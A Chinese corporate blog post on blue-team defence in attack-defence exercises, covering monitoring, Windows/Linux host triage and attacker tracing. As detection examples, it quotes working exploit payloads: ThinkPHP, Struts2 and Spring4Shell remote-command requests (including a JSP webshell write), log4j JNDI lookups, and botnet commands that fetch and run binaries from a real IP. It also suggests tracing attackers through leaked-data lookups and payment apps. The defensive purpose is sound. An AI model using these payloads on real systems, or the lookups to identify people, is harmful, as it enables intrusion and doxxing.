企业博客
接上篇《攻防对抗之红队那些事儿》内容,今天我们来聊聊蓝队作为防守方,在日常进行攻防演练或实战对抗时,都将有哪些常规操作。
蓝队,指攻防演练中的防守方。通常要求具备安全检查、整改、加固等基础能力,同时要对红队普遍攻击手段及新型攻击技术有一定的了解,在演练期间进行网络安全事件监测、预警、分析、验证、处置与溯源。
攻防演练前,蓝队通常会在日常安全运维工作的基础上,以实战思维进一步加强安全防护措施,包括对人员的安全意识培训、调整边界安全设备防护策略、隐藏管理端口/老旧系统、扩大威胁监控范围、完善监测与防护手段、建立应急响应、情报收集利用机制等,提升整体安全防护水平。
攻防演练中,蓝队多由目标系统运营单位、攻防专家、安全厂商、软件开发商、网络运维队伍、云服务提供商等多方组成,在演练时的角色分工大致如图:
特殊情况下,还会有其他组成人员,可视实际情况进行具体分配。
蓝队防守工作四步走:
以下仅举例小部分常见攻击中的关键字及特征,当发现不正常请求时还需另行判断,可将不正常的数据放到Google搜索查看相关资料。
1.SQL注入
从请求中寻找是否有数据库相关操作的关键字
判断关键字:' and && - + .0 .1 order by or xor
获取数据关键字: select.*from.*
文件读取:select.*load_file.*
文件写入:select.*into.*outfile
其他注入关键字:sleep() char limit updatexml() extractvalue
2.XSS
从请求中查看是否有相关html代码
3.任意文件读取
../../etc/passwd
..%2F..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252F..%252Fetc%2Fpasswd
.+./.+./bin/redacted.dll
.%00./file.php
/etc/passwd%00.jpg
..%5c..%5c/windows/win.ini
4.SSRF
?url=dict://127.0.0.1:6379
?url=file:///etc/passwd
?url=gopher://127.0.0.1:6379/...
../../../../../etc/passwd
?url=https://www.baidu.com
5.XXE
]>
&xxe;
%remote;%int;%send;
]>
XML中引入了不安全的外部实体
6.SSTI
{{2*2}}[[3*3]]
{{3*3}}
{{3*'3'}}
<%= 3 * 3 %>
${6*6}
${{3*3}}
@(6+5)
#{3*3}
7.ThinkPHP
?s=index/think\request/input?data[]=phpinfo()&filter=assert
?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=
?s=index/\think\Request/input&filter=system&data=whoami
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
_method=__construct&filter=system&a=whoami&method=GET
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
8.Struts 2
一般Java的Payload都会有一些关键字java.lang.Runtime、getRuntime().exec、module.classLoader、Ognl等;
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/actionChain1.action
%{@java.lang.Runtime@getRuntime().exec("calc")}
9.log4j
${jndi:ldap://xxx.xxx.xxx.xxx/exp}
${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}
${env:USER}
${event:Marker}
${mdc:UserId}
${java:runtime}
10.apache shiro
rememberme=后面一长串payload,如下:
rememberme=LIO2vKStP5R4NN+TLY0Bgfrz+3sacQHB1BfrOheCVAHeFAGtRsX9JW24tCvcedluOxZwFPoOSs7/tA0fK+UJ9ylRjLIT87NIN1smV22TVqdQ4vSJXB42IQCTV1mDA2CwlDpoeem6M4qY2SeB4JwIpV+iUwNJoOj+NfWeX3/lLZHkoCnsR5TCm6GrHyhdaDZYK0BAJNXFQ9658sJGAF1fztcfR0pYD9RtX26iLW73+D0pd3x6DhPQB7euA4uhUZ3Ue8RoOK3jTqxHC3U5n0DIMpc1RWlHVzUyHjejFAPXCReV+7ds/dWr+b5XlgP9/7ajmi2+6dqr2apVaIhEMC5SP4X4Y+QZw3wS6w76pD1vT8JSlG6l+h4+tIRuS4/gbUzX8GhmPCtw2MBMS/xZ2FsjvTPexdPLEf+114qo4152aNNcXul4zN3czLlve+otlqd5E/WyhhbBA2+EFk+Pewnsq2g2sS53s57H9BcWhXHkcwf0cIrkOXAn9a9xfkkm1HH9
11.spring
class.module.classLoader.URLs%5B0%5D=0
/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
12.僵尸网络
wget http[:]//167.99.39.134/.x/pty11 -O
ar/run/pty11; chmod +x ar/run/pty11; chmod 700 ar/run/pty11; ar/run/pty11 &
curl http[:]//167.99.39.134/.x/pty10 -o
pty10 ; chmod +x pty10 ; chmod 700 pty10 ; ./pty10
一般为一长串系统命令组合,具有下载,赋权等命令
13.挖矿
长期普遍向外或向内部主机发起请求,向外请求的目标可能是一个地址也可能是一个域名,向内部主要是横向扩散,端口扫描特征;
从告警中看请求包不正常的,如数据包含有一堆乱七八糟字符串、数据包中有敏感关键字、正常请求不符合等情况,那多半是有问题的;其次在安全监测时通常会有大量告警信息,我们不能只看高危,有次护网时发现某家神奇的WAF,whoami命令都执行成功了,返回root告警却是中危目录扫描。
1.根据响应状态码,重点关注2开头的,但不能作为唯一判断依据;
分类 | 分类描述 |
1 | 信息,服务器收到请求,需要请求者继续执行操作 |
2 | 成功,操作被成功接收并处理 |
3 | 重定向,需要进一步的操作以完成请求 |
4 | 客户端错误,请求包含语法错误或无法完成请求 |
5 | 服务器错误,服务器在处理请求的过程中发生了错误 |
2.根据返回内容进行判断,部分攻击会把结果进行输出打印,例如:
3.将攻击请求复制到本地,发送请求尝试、查看是否成功,再进行漏洞复现;
4.如果实在无法判断,可以把攻击特征拿到网上去搜一搜,看看是什么漏洞,如何利用再进行复现;
5.内网也差不多,不过很多局点内网本身就有很多告警,真真假假、假假真真,该上报就上报,刚到现场时需要先对已有告警进行分析,后续心里才有底,再根据服务器之间的异常访问进行分析。
思路大致如下:
1.常用命令
2.系统信息收集、备份
服务器版本、补丁、日志、用户、承载应用、组件、dump内存等
3.文件排查
4.系统账户排查
a.比较直接的方法:
b.使用D盾等工具进行检测
5.进程、端口、服务排查
6.任务计划
a.存放任务计划的文件路径
b.cmd-ator 控制面板—管理工具—任务计划程序
7.开机启动项
a.注册表中开机启动的位置
b.msconfig 启动选项
c.开始-所有程序-启动
d.启动项枚举:wmic startup list full
e.wmic startup get command,caption #启动程序信息
8.注册表检查
一些重要且经常被利用的注册表:
注册表快速查找可以使用工具快速查找键值:Registry Finder
9.性能监视器查看进程资源利用状态以及服务器状态
10.日志
系统日志:记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等,系统日志中记录的时间类型由Windows NT/2000操作系统预先定义。
默认位置: %SystemRoot%\System32\Winevt\Logs\System.evtx
应用程序日志: 包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,我们可以从程序事件日志中找到相应的记录,这将有助于我们解决问题。
默认位置:%SystemRoot%\System32\Winevt\Logs\Application.evtx
安全日志:记录系统的安全审计事件,包含各类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件等。安全日志也是调查取证中最常用到的日志,在默认设置下安全性日志是关闭的,管理员可使用组策略来启动安全性日志,或者在注册表中设置审核策略,以便当安全性日志满后使系统停止响应。
默认位置:%SystemRoot%\System32\Winevt\Logs\Security.evtx
每个成功登录的事件都会标记一个登录类型,不同登录类型代表不同的方式:
登录类型 | 描述 | 说明 |
2 | 交互式登录(Interactive) | 用户在本地进行登录 |
3 | 网络(Network) | 最常见的情况就是连接到共享文件夹或共享打印机时 |
4 | 批处理(Batch) | 通常表明某计划任务启动 |
5 | 服务(Service) | 每种服务都被配置在某个特定的用户账号下运行 |
7 | 解锁(Unlock) | 屏保解锁 |
8 | 网络明文(NetworkCleartext) | 登录的密码在网络上是通过明文传输的,如FTP |
9 | 新凭证(NewCredentials) | 使用带/Netonly参数的RUNAS命令运行一个程序 |
10 | 远程交互,(RemoteInteractive) | 通过终端服务、远程桌面或远程协助访问计算机 |
11 | 缓存交互(CachedInteractive) | 以一个域用户登录而又没有域控制器可用 |
通常情况下,smb产生的日志类型为登录类型3,RDP登录日志为登录类型10,在部分暴力破解的工具下,RDP暴力破解可能在日志上会显示登录类型3且不记录源IP。
常见事件ID:
事件ID | 说明 |
4723 | 尝试更改帐户的密码 |
4624 | 登录成功 |
4625 | 登录失败 |
4634 | 注销成功 |
4647 | 用户启动的注销 |
4672 | 使用超级用户(如管理员)进行登录 |
4720 | 创建用户 |
4732 | 已将成员添加到启用安全性的本地组 |
4698 | 创建计划任务 |
4825 | 用户被拒绝访问远程桌面 |
5156 | 平台已允许连接,本机访问了那些服务器的3389端口 |
域相关的事件ID:
事件ID | 说明 |
4768 | Kerberos预身份验证成功 |
4771 | Kerberos预身份验证失败 |
4772 | Kerberos身份验证票证请求失败 |
4773 | Kerberos服务票证请求失败 |
4774 | 已映射帐户以进行登录 |
4776 | 域控制器尝试验证帐户的凭据 |
4777 | 域控制器无法验证帐户的凭据 |
4820 | Kerberos授予票证(TGT)被拒绝,因为该设备不符合访问控制限制 |
4821 | Kerberos服务票证被拒绝,用户/设备或两者都不符合访问控制限制 |
11.一些辅助工具
火绒剑 #系统监控、进程监控、启动项、钩子扫描、驱动查看
https://www.huorong.cn/
SysinternalsSuite #包含一系列免费的系统分析工具
https://docs.microsoft.com/zh-cn/sysinternals/downloads/
PCHunter #进程、线程、进程模块、进程窗口、进程内存信息查看,杀进程、杀线程、卸载模块等功能
http://www.xuetr.com/
Process Hacker #可帮助您监视系统资源,调试软件和检测恶意软件。
https://processhacker.sourceforge.io/
RegShot:注册表对比工具
https://sourceforge.net/projects/regshot/
河马Webshell查杀:
https://www.shellpub.com/
VundoFix:隐藏劫持系统文件dll专杀工具
建议上机排查用BusyBox工具包中的命令,然后对相关文件状态进行备份;
1.历史命令排查
2.账户信息排查
SSH授权密钥查看:/root/.ssh/authorized_key
除root外其他用户是否有sudo权限:cat /etc/sudoers | grep -v "#"
3.进程端口排查
4.任务计划
建议检查的时候使用vim打开具体的文件去看,cat,命令存在一些缺陷,可以被某些字符截断,造成的内容看不全;
crontab -l #查看任务计划,有部分恶意代码需要crontab -e 编辑才能看到
cat/etc/anacrontab #查看anacron异步定时任务
/var/log/cron #查看任务计划日志
/etc/crontab
/etc/cron.d/
/etc/cron.daily/
/etc/cron.hourly/
/etc/cron.weekly/
/etc/cron.monthly/
/var/spool/cron/
service cron status #通过任务计划执行的服务
5.系统进程资源使用状态
6.可疑文件、目录
/tmp,/var/tmp,/usr/tmp #当tmp挂载为noexec时可用于本地提权
/dev,/dev/shm #这个目录是linux下一个利用内存虚拟出来的一个目录,这个目录中的文件都是保存在内存中,而不是磁盘上
/sbin,/bin,/usr/bin,/usr/sbin #这些目录都是存放命令的
cat /etc/sudoers #sudo权限
~/.ssh/authoruzed_keys #ssh公钥存储文件
/root/.ssh/authorized_keys #远程主机的key
/root/.ssh/known_hosts #记录远程连接过的机器信息
/etc/update-motd.d/ #ssh放置后门脚本
/etc/cron.d/ #任务计划脚本
/etc/pam.d/sshd #软连接后门
/etc/hosts #一些挖矿程序会更改hosts文件
/etc/resolv.conf #DNS配置
cat /dev/null > scan.log;for tmp in `ls /bin /sbin /usr/bin /usr/sbin`;do lsattr `which $tmp` |grep "\-i\-" >> scan.log;done #查找所有具有i属性的文件
7.自启动以及环境变量
相关文件、命令
/usr/lib/systemd/system
/usr/lib/systemd/system/multi-user.target.wants
/.bashrc
/etc/inittab
/etc/rc.local
/etc/init.d
chkconfig #查看开机启动项目
chkconfig --list | grep "3:on|5:on"
/etc/init.d/rc.local
/etc/profile
/etc/rc1-6.d/
ldd ldd /usr/bin/ls; ldd /usr/sbin/ss 动态库查询
/etc/ld.so.preload #该文件默认为空
环境变量
echo $LD_PRELOAD 动态链接库查看,存在后门的可能
env
set
export
cat /proc/$PID/environ
echo $PATH
8.日志排查
9.辅助工具
sudo apt-get install clamav #安装
sudo freshclam #更新病毒库
clamscan -r / #扫描全盘,并显示文件名
在我们溯源之前,需要确定攻击IP是否真的存在攻击行为,攻击成功与否,有些裁判,没有攻击成功的溯源不会给分;
溯源方式:
1.利用威胁情报平台,威胁情报平台有多个可以都查一查,每个平台的数据有差异,常用的有微步和奇安信威胁情报中心(https://x.threatbook.com、https://ti.qianxin.com)
如图:
通过域名解析获得域名:
资产绘测发现存在两个服务分别是:awvs和vmware,可以做为反制的突破口;
通过证书获取到使用者单位;
2.通过域名查询注册信息、whois信息、备案信息等获得邮箱、电话,再往下查询;
3.邮箱、电话通过社工库查询获取其他信息;
4.域名、IP、邮箱都可以通过搜索引擎进行查询是否有相关网页;
5.电话可以通过微信、支付宝查询获得姓名、社交ID等;
6.社交ID可以通过一些常用的软件、博客再进行搜索。
实际在攻防演练中,使用到的技术和方法远远超过以上列举出来的这些;以上总结仅为较基础和简单的部分,方便大家了解。
另外在现场实际遇到的问题可能会从一开始就和预想的不一样,有时客户自己都不清楚有哪些资产更难往下一步走,只能尽量去了解现状、再挑选重点做调整,自己可以在外网搭建一个资产收集系统对互联网侧的资产进行探测。